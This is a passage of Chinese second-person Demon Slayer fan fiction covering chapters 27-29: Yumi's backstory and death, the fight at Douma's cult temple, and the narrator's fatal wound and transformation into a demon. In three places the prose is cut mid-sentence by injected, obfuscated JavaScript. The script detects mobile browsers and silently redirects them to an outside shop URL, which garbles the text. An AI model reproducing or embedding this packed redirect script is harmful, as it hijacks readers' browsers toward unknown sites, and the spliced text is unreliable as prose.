“我没事。”你虚弱得说着,动动胳膊腿儿哪儿都疼,睁开眼想看看都直冒金星,只得闭上了。 “谢、谢谢你,咳咳咳,先把我放下好吗?” 你应该是太久没进食导致的低血糖,这一摔脑仁都晃匀了,短时间内别想站起来。你就这么卧倒在地上慢慢恢复力气,黑死牟的大手就垫在脸颊下方充当枕头。 太好了,得救了…… 活下来的喜悦是如此强烈,你的泪水肆意地流淌,在眼窝汇集成明亮的一汪,然后满溢出来,越过鼻梁,淌在脸颊一侧,尽数落入他的手掌。 黑死牟一动不动,维持着半跪在你身前伸出一只手的姿势。 你默默地哭了好一会儿,把心中的痛苦、恐惧宣泄了个够,忽然想起什么,赶紧摸向他的腰间。 “刀呢,黑死牟,你带刀了没有?” 我真是太蠢了。你想。黑死牟这一身紫色羽织、腰间佩刀的装束不也是跟那个桑岛慈悟郎很像吗,你怎么只想到了戴面具的蓝衣人?要是早把事情告诉他,就不会闹出这么多了吧? “刀呢?”你艰难地撑着手臂坐起来,眼睛一阵阵发黑。 “在这里。”他拉着你的手放在刀柄上,你放下心来。 好奇怪,刚才怎么都找不到,他一指就有了。你甩甩发昏的脑袋,饱含希望地问:“你也是来救那些失踪的人吗,你们是一个组织的,对不对?他们就在这座山上,你快去呀。” 黑死牟不说话,你低头又是一阵剧烈的咳嗽。 “快去呀。”你摸索着把他的刀解下来,握在手里,好沉。你摇晃两下,咬牙把它捧起来递过去。 “剑士大人,把他们救回来吧!” 黑死牟接过了刀。他说:“好。” 你放心地躺倒,他扶着你靠在一棵树上。林隙漏下惨白的月光,就像冬天还未化开的残雪,你看到他的背影高高跃起,和天上的满月几乎融为一体,轻松救跨过了让你大吃苦头的山坡。 “太好了。”你抱着他留下的葫芦,打开盖子喝口水漱掉嘴里的怪味道,感觉好受了许多。 “一定要赢哦。”你轻轻地说着,风儿把话送走。 黑死牟走后,你渐渐觉得有点冷,被遗忘的饥饿感重新涌上来,而且更加激烈。你也没有更好的办法,使劲喝水,让胃里有东西装不那么难受。 时间一分一秒溜走,你蜷缩起来打着寒噤,心里充满了忧虑。 黑死牟他一个人能行吗?他救得出来那么多人吗? 由美拨开一重重低垂的紫色帘幕,奔逃在万世极乐教内部,这里有一道小门的,她经常来打扫,绝不会记错的! 那些想死的人就让他们去死吧,她才不会奉陪呢,她会逃出去,再活上五十年、六十年都不止,活得风风光光,想尽繁华,那些愚蠢到奉上全部身家和性命的人,拿什么和她比? 由美拼命地跑着,她跑得非常快。 谁能追上我?她模模糊糊地想。从小到大,比我慢的人都已经死了呀,死在没有冬眠的熊嘴里、死在火车的铁轨下、死在那艘开往南洋的船上、死在异国他乡…… 由美甩开木屐,赤足踩在榻榻米上像踩着故乡松软的泥土。 她在那里光着脚长大,穷到没鞋穿,穷到去乞讨,冬天藏到人家的草垛下取暖,天气不好,就会有熊下山把她的同伴吃掉。 突然有一天,奇怪的喷气怪物冲开了田野,冲碎了乡民宁静的生活,她就沿着怪物的铁轨走到了灯火通明的城市,那里要得到更多的钱,还没有熊。 由美还在城市里找到了一份工作,和好多小孩挎着小篮子向火车上的乘客兜售报纸和小零食。冬天脚踩在枕木上冰得厉害,但她不在乎,她很快就能攒下一双鞋的钱。汽笛声响起,她灵活地跳到月台上,水汽散去,下面躺着一具血肉模糊的小小身体。 由美原本不叫由美,她和许多出身贫苦的乡下人一样没有名字,一个年龄稍大一点也在火车旁卖东西的姑娘帮忙起了一个,她略识几个字,由美(yumi)是她在报纸上看到的高雅名字,她给自己改名叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081799|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直美(naomi)。 直美告诉她,这都是外国人也能流畅发音的美丽名字。说这话的时候,她正往瞅着小镜子往脸上扑粉,一个黄头发的西装男人在等她,直美咔一声把脏兮兮的粉盒盖上,跟他走了,废纸补的皮鞋底发出难听的咯吱声。她一身那人给的二手货,但那也是舶来品,贵得另人咋舌。 直美也想给她介绍一个外国人,洋人的钱才值钱,就算不够大方也没关系。由美在她稍微流露出这点意思后,就疏远了她。乡下有年老穷困潦倒的游女,由美见过她们大半个身子都烂完的模样,她不想自己落到这种下场。 没多久,直美穿上旧衣挎着篮子回到了铁轨边上,大家都说那人把她抛弃了。她告诉由美,其实她也不想这样,洋人都很臭,她不愿和他们待在一起,但她需要钱,很多事情没有钱是不行的,现在她找到赚钱的方法了,想要由美和她一起走。 这个方法是到南洋去,据说那里生产一种叫“橡胶”的东西,很缺人手,很赚钱,只要报名,日本就派船送过去,辛苦几年就能赚大钱回来过好日子。 “赚大钱,过好日子。”直美的眼睛亮晶晶的,由美跟着她在码头排好了队。 “你们知道吗?”码头上的人窃窃私语,他们说生产橡胶哪里用得上女人,这一船的人拉到南洋就去卖,她们的钱寄回来,可是一大笔收入呢。 直美才露出恐惧的表情,由美已经冲出队伍,引发一阵骚乱,警察气愤地吹响口哨封住出口,她瘦瘦小小钻过栅栏一晃眼就不见了。 沿火车叫卖的小孩已经饱和,由美也不是怎么做都讨人喜欢的几岁小孩子了,她失去了这份工作,再也找不到别的。没有钱,张灯结彩的城市和故乡一样丑陋。 由美充满了仇恨。这儿有一火车衣食无忧的人,为什么就不能多一个我?饿得太厉害了,她又幻想,不用多,每个人只给我几毛钱不也就够我一辈子享福了吗? 她才发现,原来这是可以做到的。 由美走投无路,把脸涂脏,和其他流浪汉一起找穿黑衣的“洋尼姑”背几句学来的话骗免费的粥喝。有饭吃,她马上就背会了,其实不难,每句感谢的话前面加一个“主”就好了。她饿得前胸贴后背,等着轮到自己。 “娜奥米(naomi)小姐。”前面的人双手合十,背起了词。 由美如遭雷劈,愣在原地,碗递到手边都不知道。“这位小姐也要皈依主吗?”娜奥米小姐问,由着命运的启示,由美点了点头。 娜奥米小姐追随菲利斯女士来日本传教,她们决心靠本国教会资助和此地教友的力量办一所学校。这并不容易,因为日本有长期禁基督的历史。这都是娜奥米小姐告诉她的。 由美虔诚地信了教,她成为免费义塾的第一批学生,和牙牙学语的孩子一起上小学部,每周都积极参与慈善和义务劳动。很长一段时间里,由美对上帝充满了感激,真心的相信遵循教会的指导会让她在死后升入天国。 校舍一间一间盖了起来,一座比一座高,一座比一座华丽。菲利斯的女士宏愿也实现了:学校里有了一座教堂。 迈进大门的一瞬间,由美的狂热破碎了,她看到一面金色的穹顶凌空直上宣告了人的渺小。由美愤怒地打颤:她的钱,她日夜捻线、裁布、做苦工得来的钱,变成了这屋顶的一部分,拥有一座金屋顶的人,凭什么打着慈悲的旗号说几句空话就从穷人的口袋里掏走了钱? 骗子,都是骗子,她们骗了我!饿得快要死的时候、冻得发抖的时候、没衣服穿的时候,上帝怎么不出现?满口谎言的人都能过得好,凭什么她不行? 由美呆立了一整天,看形形色色的人走过来,带着不同的表情心甘情愿把他们的钱投到募捐箱里。这天,由美明白了富裕的真谛。 只掏几个固定的钱包是永远发不了财的,有本事的人掏更多人的钱包,掏得越多越有钱,像那列飞驰的火车,那艘驶向橡胶地的船,这就是每个人付出几分让我享福的做法。 由美奇怪,为什么除了她,偌大一个校园竟无人发现问题,她们衣着光鲜、谈吐得体,穿着簇新的洋装、锃亮的皮靴,用最新的西洋化妆品,却脑袋空空都接受所有听到的东西,为书本里的神圣故事留下眼泪。 因为她们衣食无忧,不用操心下一顿饭在那里,人生会不会在哪个关口突然烂掉,可以放心地信一辈子别人给的东西,她们看不清粉饰下的真相,活该成为被掏的钱包。 由美下定了决心,转变了思路。 其实这并不坏,不是吗?他人的愚蠢无疑是对她的计划有利的。世上永远不缺什么都会信的傻子,重点是如何找到他们。 靠着到处流浪锻炼出来的眼色,由美从她那些高贵的同学手里赚来了第一桶金。至于她们后来的纠纷与决裂,由美毫不愧疚,她只恨自己一个人的效率比不上一座神像加一个唱诗班。 可即便是如此辉煌的教堂,如此完备的经文,它的敛财速度也远远比不上万世极乐教。这是由美到那儿的第一天就看出来的事实。 童磨是怎么做到的,他为什么能源源不断地掏空每一个人的钱包?她必须要弄清楚。 我会成功的,我就要成功了!她看到那扇小门。 我会从这里出去,带着学到的所有,我可以比他做得还好,比所有人都有钱! 由美推开门,看到了一颗白橡色的脑袋。 27.第 27 章 “我有没有说过很喜欢你的脑袋?”童磨咧开嘴,尖尖的虎牙发出闪光,“这里有好多扭曲的心,我已经吃腻了,这种有很多想法的脑袋,会更好吃吗?” 由美木愣愣地倒退,未几,发出骇人的尖叫。 不,不!她窥破了这世间的谎言,天道应该奖励给她无尽的财富,而不是死在这种莫名其妙的地方! “滚,滚开啊!”由美扑上去,恨不得把他那张笑容可掬的脸扯烂! 她能背着比自己还高的柴走山路,从熊掌下逃出来,在码头上跑赢警察,她今天也能摆脱这个男人! 由美怒吼着拳打脚踢,过往的画面一一浮现:离开新落成的教堂,晚餐前言不由衷的祷告,在修女的书里看到Naomi的意思是“愉快”时瞬间涌出的刻骨愤怒…… 直美,这个世界欺骗我们太多,我还没有报复回来,我还没有连同你的那份,都报复回来啊。 “啊啊啊啊!我跟你拼了,拼了!” 由美几次从他身边跑开又几下被堵回门口,童磨像猫儿逗弄老鼠一样乐在其中的样子终于把她点燃。 她扯下所有能摸到的东西,全都用力投掷出去:缠绕在木栏杆上的丝绸花、挂在屋檐上的一长串莲花灯、墙角放的扫帚…… 事情怎么就变成了这样?极端的怒火中,由美脑海里浮出冰冷的疑问。自从那个不该出现在这里的人说完那番奇怪的话,她熟悉的世界就变天了,可事情不该是这样的呀…… 她比谁都聪明,比谁都肯下功夫,她怎么会和愚不可及识人不清的久子、只会哭泣等人拯救的千代还有永远搞不清状况做无用功的你,落得一样下场呢? 她精准地识破了学校里那些和久子一样用大手大脚掩饰虚弱的人,从她们心灵的漏洞里捞出钱来,她三言两语就挑动了久子带自己来到万世极乐教,这个真正能成就她的地方,她还能做到别人都做不到的事,靠旧衣服混进义塾用几张纸就带出了教主想要带来的人。 她早晚会站得比谁都高,她需要的只是时间。可明明一切都在变好,怎么会突然会化成泡影呢? 由美力竭地倒了下去。 过往走马灯一样飞速上演,最后定格在教堂的金色穹顶下,宏伟的乐曲在那儿回荡,身穿制服的学生齐声唱出赞美的诗篇。所有人都虔诚地虔诚地信着什么的感觉真好,可惜,她从来不是她们中的一员。 “正好,我也腻了。”童磨坐下来,手亲呢地摩挲她的发顶,“为什么非得逃呢,不逃不就不会这么痛苦了吗?” 由美的喉咙里发出浑浊的气声,她感到自己的头颅并不是真的,而是蜡做的假货,否则不会像现在这样被人信手揭开随意取用。 死亡扼住了她的咽喉,由美顿悟过来:修女们没有骗她,神力当然是存在的,只不过和财富一样,上帝没有选择给她。 “我想过好日子,”她的脸颊上划过最后的泪水,“我只是想过好日子……” 童磨满足地吞咽下手里的东西,正要埋头继续享用却突兀地停住了。 “是黑死牟阁下啊,要一起来吃吗?” 你跌跌撞撞,推开了万世极乐教的大门。 短短几个小时,这里模样大变,晦暗的光线下,隐约可看到地上横七竖八躺满了人,他们微弱的痛呼此起彼伏,听着格外瘆人。 这里已没有童磨的身影。 你缓缓闭上眼睛,你连血腥一点、恐怖一点的电影、小说都受不了,却在今天数次直面限制级现场,胃里翻江倒海的感觉又来了。 求救声、哀嚎一刻不停,你逼自己站稳了,快步走进去,问最近的人:“你还好吗,能站起来吗?” 那人眼神都直了,你连问好几声,他才回过神有气无力地点点头再摇头。 你踌躇地看看他还有前面的那些人,再回头看看身后的莲花池。你记得童磨瞬间把你带过来的时候,就停在过了桥的屋檐下。 “请等等,我这就把你带出去。” 你跑到屋里翻出一个坐垫,垫到他身下拖行到小桥上,再抽出来去找下一个人,没一会儿就累得气喘吁吁,还好有人醒来帮你一起救人。 童磨不知去了哪里,应该是被黑死牟拦住了吧。你想着,弯下腰去拉地上的人,摸到了一手血。 !!! 这是你头一回摸到尸体! 你又是一阵反胃,捂着胸口干呕了几声,流着泪去看其他活着的人。还有些人虽然能回应你,但实在伤得太重,稍稍一动血就流了一地,只能狠心离开,他们痛苦的求告像刀扎在你的心上。 最恐怖的噩梦也比不上今夜,你使劲拖拽手底下的人,其实并不确定是否有意义。但总得做点什么呀,你拖着灌了铅似的胳膊腿去找下一个人,唯一的安慰是没有看到千代。 再次返回到屋内,外面传来巨响,窗子整个炸开,木屑如暴雨降落,你毫无防备,被掀翻在地砸了一头一脸,屋里剩下的灯齐齐灭掉。 一蓝、一黄两道光跃了进来,身后一个奇怪的白影。 “是你!”黄的那个先认出了你,大声叫出来。 “怎么才来啊。”你眼泪糊了满脸,没有力气指责什么了。在他们打斗的间隙,你艰难地爬行,继续把人拉到屋外。 墙的另一边,一颗头骨碌碌地滚下来,撞到墙才停下。 “黑死牟阁下,”童磨努力把头转过来正对着他,“您真的不过去看看吗,鬼杀队的人要到了。” 黑死牟默不作声,拔出了刀。 “好吧,我承认是我放了水,可您就这样一点同伴情谊都不讲吗?”童磨可怜巴巴地说着,他的身躯走过来捧起头安上去,下一秒,黑死牟的刀尖就插进了那里。 “我说过,以下犯上是绝对不允许的。” “冤枉啊,”童磨扶住摇摇欲坠的脖子,那里和脑袋链接的地方只剩薄薄的一层皮,“我没有以下犯上,我好好地招待了您的贵客,这样说我太寒心了,呜……” 黑死牟调转刀锋笔直地切下去,再抽出,水平扫出去,不给那堆碎块重新聚拢的机会。 “你——”他刚开口就僵住了,童磨用手合住下巴等待下文,他却不说了。 空气里,稀血的味道在蔓延。 黑死牟收回了刀。 “把人赶出去。”他说。 “谁呀?”童磨明知故问,干活却不敢拖延,结晶御子涨大了一倍有余。 “它变厉害了!”桑岛大叫。 “血鬼术的主人就在这附近,不可掉以轻心。” “好!” 御子口部开启,徐徐喷出白雾——黑死牟六只眼睛一起向下看去,童磨烦恼地撇撇嘴,赶紧关闭,那一点点雾气马上就消散了。 你又救出了一个人,蓝衣人跳过来帮你解决了一击。 “你怎么还在这里?快出去,我们的人‘隐’会来处理的。” “他们什么时候来呀?” 他没有回答,挥刀又往别的方向去了。你只好扯着嗓子大喊:“这个房间里有古怪,千万要小心啊。” 又是一阵丁零当啷,你什么也看不清,摸黑顺着墙根走。 “鳞泷,”是那个桑岛的声音,“往这儿打!” 你条件反射地矮下身,一道劲风扑面而来,右手扶着的木墙已轰然倒塌。 知道和室的墙体薄,没想到会这么薄!你抱头鼠窜,想朝相反的方向躲,结果脸朝下结结实实地摔了一跤。 糟糕,是木屑扎进去了吗?你感到大腿一热,那儿湿了一大片,痛感才慢慢传来。 好痛、好痛、好痛! 你学着电视剧里的剧情想撕下一片衣角包扎止血,谁料根本撕不动。 “偷偷摸摸那么久,可以出来了吧?”桑岛慈悟郎不屑道。 “是你们没有发现我,怎么是我偷偷摸摸呢?”童磨摇着扇子走出来,立即发动了进攻。 “上弦的鬼?不过如此嘛!” 童磨制造出新的结晶御子加入战斗,没有了墙面的阻隔,稀血的味道越来越浓郁,他醉酒一样头晕目眩起来。 “可恶,这么香,黑死牟阁下是怎么忍住的啊。” 他的血鬼术克制呼吸法,可一旦使用,最先顶不住的一定是你这个普通人,到时候他要面对的就不是简单的脑袋分家了。 两尊御子一起发力,带着桑岛慈悟郎和鳞泷左近次撞破长廊跌入莲花池中。 “呼,总算安静了,我已经玩够了,再闹可就不礼貌了。” 童磨摇摇晃晃地后退,想要离你远一点,偏偏夜间的谷风哗啦啦地吹,从塌完了的窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085645|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子吹过来,让那香甜的气息无处遁行,他烂醉如泥瘫软在地上,半截墙后,黑死牟的状况也不比他强多少。 “呵,你也有今天!” 黑暗中,破空声响起,匕首的锋刃一闪,飞速刺下! 千代尖叫:“哥哥!” 月亮从中天滑落到西边的山头,把它惨白的光芒斜斜地投射进来,池水波光粼粼,映照进屋内,墙面、地板都荡漾开一圈圈涟漪。 你咳嗽着爬起来,月色里,童磨指尖那一点反光亮得刺眼。 他只用两根手指就挡下了复仇的利刃。 “哥哥啊……”千代悲愤的余音成为兄长生命的哀乐,童磨扬起手,血飞溅上了天花板。 你完全呆住,看着千代空洞洞的脸,她的嘴在一开一合。 “为什么?”她问。 千代揪起了头发,那力道像是要把它们一把一把扯下来。 “为什么,告诉我为什么啊!我每一天都在祷告,是每一天!上帝为什么不来救我呢?” 童磨摁住了她的肩,手穿过腰肢,把她揽了过来,千代无知无觉。 “为什么,上帝宁可给这种人赐福,他也不会睁开眼看看……” 千代消失在你面前。 啪嗒。 一只小小的十字架掉下来,千代把它藏在衣服里,戴到了最后一刻。 你脑子里有根弦,噌的一下断了。 可能有许久,也可能只是一瞬。 你看见童磨从地上爬起,趔趄着走过来,彩虹色的双瞳浮现出字样。 上弦·贰。 “好了,现在我们可以……” 你一巴掌抽在了他脸上。 “啊咧,这就……” 你反手又是一巴掌。 好,对称了。你诡异地想。但是还不够,远远不够。那些超自然的景象已撼动不了你分毫,不如说,你已经失去了部分的思考能力,你只是想,怎么就不能抽死他呢? 你抬手还要再打,一把刀从墙壁后飞出来,把他钉死在了地上。黑死牟站在那里,低着头,你看不清他的脸色。 你什么也看不清,软软地倒下去。 他们还在打吗?好吵啊。搅水的声音,刀剑碰撞的声音,哪里开始塌陷的声音,全搅合到一块儿,陷到到这么多声音里和掉进泥水车简直没什么两样。 你凭本能移动,大腿传来撕裂的剧痛,那里又流血了吧?战况似乎在此时发生了变化,总是磕磕绊绊的金属声变得流畅了,你听不出什么,痛苦地前行。 外面那些人还好吗?得救了,我们都要得救了。你身后拖出的血迹在变浅。 呼、呼、呼……快了。 “救命、救命,有人吗?” 你喘着粗气靠近。 “别怕,已经、已经有人来救我们了。”你噙满泪水,回忆童磨被穿透身体的惨状,这下无论如何,他都不能再作妖了吧? 你狠下心,摸到大腿上拔出木刺,带出的血肉顾不得它。你哆嗦着站起,也扶着那人往出走。 “到了桥上就安全了。” 屋外的人们也看到了你们互相搀扶的身影,要过来帮忙。 突然,他道:“教主大人呢,他去哪儿了,我要去找教主大人。” 你耳朵里嗡嗡的:“什么?” 他猛地抬起头,月光从后面照进来,把他的脸映得黑的黑、白的白。 “是你,”他说,“我认得你。” 他攥住你的衣领,力气之大,你快要喘不过气来。 发生了什么? 那人已然癫狂,怒吼道:“是你,都是你!你破坏法会触怒神灵,才会有这场灾难,教主已经答应送我到极乐了,他都答应我了!为什么要毁掉我的希望,夺走我的一切?你这个恶魔,你去死吧!” 他抓起了地上的刀子,童磨随手丢掉的,千代兄长的刀子。 你像挨了一记重拳,咚一声背仰过去。你看见那人眼里充满了茫然,他低头看看自己空荡荡的手,那把刀插在你的胸腔上。 你倒在地上说不出任何话,只发出一声一声奇怪的“咯咯”声。不,这不是喉咙里传来的声音,是肺,你的肺在自己发出声音! 那人崩溃地扶住头,大叫一声,跌跌撞撞地跑掉了。 28.第 28 章 你颤抖着捂住了胸前的伤口,想要阻止空气直接从那里进入。但是不行,你使不上一点劲,疼痛从前胸、后背蔓延到整个上半身,抬起胳膊都很不容易了。 侧过身会不会好一些?把那里挡住。也不行,血液浸入肺泡和胸腔,再从喉咙中涌出泡沫,你在自己的身体里溺水,因灼热的疼痛动弹不得。 好痛苦,每一丝呼吸都带来极致的痛苦,随时的抽搐和眩晕又加重了它,你才知道此前的一切伤都算不了什么。 吸气在痛苦,屏住呼吸也痛苦,一次比一次更痛苦,你想说什么,只能“咯咯咯”地吐出血沫。 此时,黑死牟终于克服了影响,挥出流畅无比的一刀,童磨做着过家家游戏的结晶御子瞬间化成水雾,鳞泷左近次在空中转换几次方向卸掉剑力坠入池中,压垮了一座木桥,桑岛慈悟郎横飞出去,一条小腿落到另一个地方。 “太可怜了,”童磨恢复了全身的伤,盘腿坐到地上歪着头看他,“你的小朋友要不行了。” 他用扇柄指向门边。 黑死牟没有理会他,径直走过去,扶起你靠住他,小心翼翼没有牵动伤口。你身下的血已经流成了一片惊心动魄的海。 他想要做到的,重来一回依旧不行。到底是从哪个环节开始,一切就都错了呢? “还是给她个痛快,”童磨在身后喋喋不休地唠叨着,“已经救不活了,肺整个给捅穿了,这差不多是最痛苦的死法了。与其看着她苦苦挣扎,不如让我来解脱。趁着人还美味,我一半、你一半,如何呢,黑死牟阁下?” 他还要再说,突然发现天花板整个调转过来,贴上他的头,来回地碾。 “太过分了,”童磨喃喃道,“虽然受折磨后紧缩的肌肉也别有一番风味,可这么可爱的小姑娘,怎么忍心她死得难看呢。黑死牟阁下,您太不懂怜香惜玉了……” 他的头骨碌骨碌滚远了,身体还跪坐在原地,再想接回来可不容易。 童磨想办法转到眼睛朝上,左右打量,发现是整个地板在飞速向下倾斜,四周响起琵琶声铮铮的余音。 “不是吧。”他只念叨了这一句就滚落到更深处了。 你无力地喘息,身体的本能在和剧烈的疼痛对抗,走过来的是谁也顾不上了。 他拉住你的一只手,额头贴在你脸上。 你蜷起手指,摸到刀柄的形状。 “是、是黑死牟先生吗?”你说完,意识到自己没有发出声音,粉红色的泡沫从嘴里争先恐后地涌出来,洇湿他紫色的衣摆。 “我想回家,你能带我回家吗?”你在他的手心里写。 “不远,把我送到山下就好了。”这么久,爸爸妈妈应该找过来了吧,让他看到这么糟糕的你,太对不起了。 “回家。”久久得不到回应,你重复了一遍,指尖重重地落笔。 “回家。”你没有看到,这间三叠大小的小隔间在飞速下降。 “回家。”上下方位倒错的无限城里,这一处小小的平台停在一座和室前。 你的意识开始消散,声音和画面都远去,前世的记忆一一浮现。是走马灯吗,到头来忘不了的,还是现代啊。 泪水和血沫一起流淌下来。你感到身体在不断地下沉,痛苦也变得轻飘飘,唯有执念割舍不下。 回家、回家、回家啊。 你用最后的力气写下:“岩胜,回家。” 唰。 推拉门打开,无惨披着西装外套走出来。 在黑死牟第一次出现急剧的情感波动时,他就察觉到了。他的上弦之一竟然真的把你当成了三百多年前的那个人,无惨对此不理解。 他活了这么久,从未见过转世,也根本不信那一套。人的五官特征就那么多,穷尽所有的排列组合后,肯定会有非常相似的人出现,这没什么值得惊讶的。 不过,他也不会拒绝就是了,费不了多少功夫的,况且,黑死牟还从未提过什么要求呢。对关系良好的合作伙伴,他不会吝啬于付出。 “刚好,我还没有尝试过把稀血变成鬼,”他挑剔的目光扫视血迹斑斑的你,“但是,不一定能成功。” 他伸出了手指。 隐秘的变化在细胞的每个角落里上演,你全身不受控制地痉挛起来,本已失去知觉的肢体仿佛有了自己的意志,挣扎着要脱离躯干。 你激烈地抽搐,背部挺起,手臂拧动,黑死牟用力按住。他的身下,你抖得不成样子。 为什么会这样,不想、不想要这样…… “会好的。”他不知是在对谁说。 “隐”的成员们抬着担架、背着药箱摸黑上山,看到一片哀鸿遍野的惨象。 他们焦急地冲过去,从废墟里刨出了水柱大人,用消毒过的绷带给断腿的鸣柱大人止血,然后去救助其他人。 他们清点人数记录在册,在场人数竟有百人之多,有些等不及救援已经咽气,大部分是打斗发生后,听到预警声自己跑出来的,还有一小部分行动不便是有人协助才成功出逃的。 隐全无准备,只好向总部发信号要求加派人手,七八只鎹鸦飞来飞去送信、指路,忙得不可开交。 全部的伤员都做好紧急处理后,清晨的太阳从地平线上一跃而起,林间的雾气一扫而光。鳞泷左近次在担架上悠悠转醒,惊讶地发现昨夜奋战了半宿的屋子已不见踪影。 塌毁的栈桥将莲花池堵得一塌糊涂,曲折的走廊化成一堆破碎的木头,打裂的门窗混在其中,但被它们包围在最中心的华丽宅邸彻底变成一片空白,像孩子乱涂乱抹的铅笔画用橡皮擦掉了一块,擦得如此干净,以至于格外突兀。 鳞泷左近次几乎要觉得记忆里的景象只是幻觉,但一百多人的哀嚎是如此真实,空白处整齐的边缘似乎也在告诉人们,这里原来有一座什么样的建筑。 血鬼术吗?这就是上弦级别的鬼。他的心里笼罩上沉沉的的阴影。 “鬼,鬼呢?”桑岛慈悟郎大叫着翻身坐起,空手哗哗地劈砍,“别想逃!诶诶诶,房子呢?左近次,里面的鬼逃了?” 他瞪大眼睛,呆呆地注视那片空地。 数日之后,鬼杀队的人根据走访结果和幸存者的回忆,拉出了一份那晚陷入鬼地的人员名单,当地长期以来的失踪人口因此得到了确认。 那份长长的名单上,每一行都是一个家庭的惨剧,里面浸透的血泪,让每一个读到的人都无法平静地翻页。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089663|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没能打败恶鬼救出剩下的人,也没有探出上弦鬼的情报,还害同伴受了伤,我实在愧对水柱之名。”柱合会议上,鳞泷左近次跪在主公面前。 “您已经做得很好了。”主公道,“就在亡者的仪式上重新振作精神,去杀更多的鬼吧。” 当地官方介入了这次事故的善后,从山上抬下来的尸体、残肢,无人认领的,都统一安葬在附近寺庙的公墓中,寺里的和尚、神社的阴阳师还有城里修道院的修女们,都到山脚下为这些可怜人的祝祷守灵,市民们自发前来,献上花束。 鳞泷左近次依言前来,看到仪式现场点亮了大片蜡烛,正淌着白色的烛泪,黄的、白的花朵堆叠在一起,散发出宁静的馨香,人们为同类的不幸而痛苦,前来寄托自己的哀思。 他双手合十在灵前献礼,明白了主公为什么坚持要他来。 守灵到后半夜,人群中发出低哑的哭声,连带着周围都响起压抑的泣音。鳞泷左近次回头,看见一对夫妻靠在一起,哭得站不住。 “他们家孩子一直没有找到。”有人悄悄告诉他。 走的时候,鳞泷左近次特意来到这对夫妻身后,把临行前主公夫人给他的花放到了他们旁边。 深夜的山顶,你摇摇晃晃走出来,像学步的幼儿,亦步亦趋,跟在紫色的高大身影后,双手牵住他的袖子。 为了配合你,他走得很慢,可你还是跟不好,深一脚、浅一脚,磕磕绊绊。 这是在哪里,我在做什么? 无数的疑问从心头划过,没有留下半点痕迹。你费力地辨别眼前的小径,头一点一点,昏昏沉沉的大脑无暇他顾。 到了下坡的时候,黑死牟手一抬,反手拉住你的手腕。你踉跄一下,慌忙调整身形。 “能走吗?”他弯下腰问。 你反应了一会儿,懵懵懂懂地点点头。 黑死牟无奈地蹲下身想要背你走,却迟迟等不到你动作。 “怎么了?”他回过头去,发现你迷迷瞪瞪走到了完全相反的方向,手扶着树往下看。 “想、想……”你指向虚空的位置,眼神迷茫。 想要去那里,非常想,但不知道为什么…… 你努力要表达出来,可连缀完整的句子都做不到,最基本的能力也都遗忘。 黑死牟陪你站了一会儿,看到山脚下亮起星星点点的烛火,隐约有人影晃动,夜间的谷风送来他们哀戚的哭声。 你皱起眉捂住了胸口,好奇怪,是非常不舒服的感觉,像是要哭了。你情不自禁地走前去,想要去那里,去到那一片哭声中,那里应该有你的一个位置。 为什么会这样呢?你一点也想不起来了。 泪水点点滴落,润湿你们相握的地方。 黑死牟捏紧了你的手,再走,就要掉下去了。 你转头委屈地看他。 “我们要走了。” 你躲到树后面,抱着不肯松手。 “不走了吗?” 他重新蹲下来:“不和我走了吗?” 你埋下头,像是在思考。黑死牟就一直没有起身,目光柔和地落在你的发顶。 良久,你从树后面伸出了手。 29.第 29 章 无路可走的时候,就不断回到原点。 ——《麒麟之翼》 你穿越了。 昨晚还在电脑上和论文较劲,眼一闭一睁,就成了日本十九世纪末期的吸血鬼。 关于新身体的一切,都是身边的一个鬼告诉你的。 他有一个听起来有点怪的名字,叫黑死牟。 恢复意识的那天阳光很好,屋里虽然用帏幔挡得严严实实,金色的光芒还是透过窗棂上的缝隙,在地上划出一道锐利的线。 黑死牟起身,放下竹帘重新遮好窗户,回过头就看到你昏头昏脑地从床榻上爬起,试图搞清楚眼前的状况。 电脑呢?刚刚改好的格式,有没有点保存? 欸,这是什么东西,绊我一下。袖子?不是,我的头发有这么长了吗?改天去剪剪…… 你伏倒在地上,双手胡乱地摸索,键盘、鼠标、手机……在哪里……现在几点了……直到一只手覆上来。 宽大、粗糙、生着硬茧的男人的手。 你抬起头来,像每次从漫长的梦境中醒来,在与现实相接的那一刻分不清虚幻的边界,所有的情绪游离在意识之外,以至于对眼前非人的六只眼睛懵懵懂懂。 定定地看了好一会儿,你觉得有些头晕了,只好把眼睛闭上再睁开。 还是一起望着你的六只眼睛,中间的那对稍有不同,你好奇地凑过去,看到上弦壱三个字的笔画正在细微地颤抖,额头还有从下巴延伸进脖颈的红色纹路似有生命般隐隐流动。 